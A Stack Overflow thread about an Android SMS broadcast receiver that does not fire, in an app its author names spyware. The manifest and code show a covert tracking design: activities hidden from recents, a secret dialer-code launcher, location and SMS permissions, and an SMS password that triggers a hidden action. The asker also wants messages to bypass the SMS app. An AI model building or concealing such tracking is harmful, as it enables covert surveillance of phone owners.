Liam W
Liam W

Reputation: 1163

RECEIVE_SMS broadcast receiver not working?

I have looked at all of the "common" mistakes, but I haven't made on (unfortuantely).

I cannot for the life of me figure out why (at the very least), I'm not getting a log message!

AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.liamwli.spyware.usertrack"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="7"
        android:targetSdkVersion="10" />

    <permission
        android:name="com.liamwli.spyware.usertrack.permission.PREFS"
        android:description="@string/permdisc"
        android:label="Prefs"
        android:logo="@drawable/ic_launcher"
        android:protectionLevel="signature" >
    </permission>

    <uses-permission android:name="com.liamwli.spyware.usertrack.permission.PREFS" />

    <permission
        android:name="com.liamwli.spyware.usertrack.permission.CONFIG"
        android:description="@string/permdiscconfig"
        android:label="Config"
        android:logo="@drawable/ic_launcher"
        android:protectionLevel="signature" >
    </permission>

    <uses-permission android:name="com.liamwli.spyware.usertrack.permission.CONFIG" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".ProcessSMS"
            android:excludeFromRecents="true"
            android:label="@string/app_name" >
        </activity>
        <activity android:name=".Launcher" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".ActivityConfig"
            android:excludeFromRecents="true"
            android:exported="true"
            android:label="@string/app_name"
            android:permission="com.liamwli.spyware.usertrack.permission.CONFIG" >
        </activity>
        <activity
            android:name=".Prefs"
            android:permission="com.liamwli.spyware.usertrack.permission.PREFS" >
            <intent-filter>
                <action android:name="com.liamwli.spyware.usertrack.PREFS" />

                <category android:name="android.intent.cetagory.PREFERENCE" />
            </intent-filter>
        </activity>

        <receiver
            android:name=".CodeReceive"
            android:enabled="true"
            android:excludeFromRecents="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE" />

                <data android:scheme="android_secret_code" />
            </intent-filter>
        </receiver>
        <receiver
            android:name=".ReceiveSMS"
            android:enabled="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

ReceiveSMS.java:

package com.liamwli.spyware.usertrack;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class ReceiveSMS extends BroadcastReceiver {

    SharedPreferences prefs;
    SharedPreferences.Editor edit;

    @Override
    public void onReceive(Context context, Intent intent) {
        // TODO Auto-generated method stub

        Log.d("User Track", "SMS Received!");

        prefs = PreferenceManager.getDefaultSharedPreferences(context);
        edit = prefs.edit();

        Bundle myBundle = intent.getExtras();
        SmsMessage[] messages = null;
        String strMessage = "";

        if (myBundle != null) {
            Object[] pdus = (Object[]) myBundle.get("pdus");
            messages = new SmsMessage[pdus.length];

            for (int i = 0; i < messages.length; i++) {
                messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                if (messages[i].getMessageBody().toString()
                        .equals(prefs.getString("cbp_pass", null))) {

                    Log.d("User Track", "Message Equals Password!");
                    Intent start = new Intent(context, ProcessSMS.class);
                    start.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    start.putExtra("Sender",
                            messages[i].getOriginatingAddress());
                    context.startActivity(start);

                }

            }

        }
    }
}

I don't even get an 'SMS Received!' log message, which tells me this isn't working at all.

A second question is, how can I make it that an SMS bypasses the SMS app and just goes to my app?

Upvotes: 1

Views: 2656

Answers (2)

Dao Duc Duy
Dao Duc Duy

Reputation: 1

This works for me since API level 23. We need to request permission at run time. Hope this can help anyone with similar issue. https://stackoverflow.com/a/35462909/4544780

Upvotes: 0

Raghav Sood
Raghav Sood

Reputation: 82543

You don't have the android.permission.RECEIVE_SMS permission. Add

<uses-permission android:name="android.permission.RECEIVE_SMS" />

to your manifest.

Upvotes: 3

Related Questions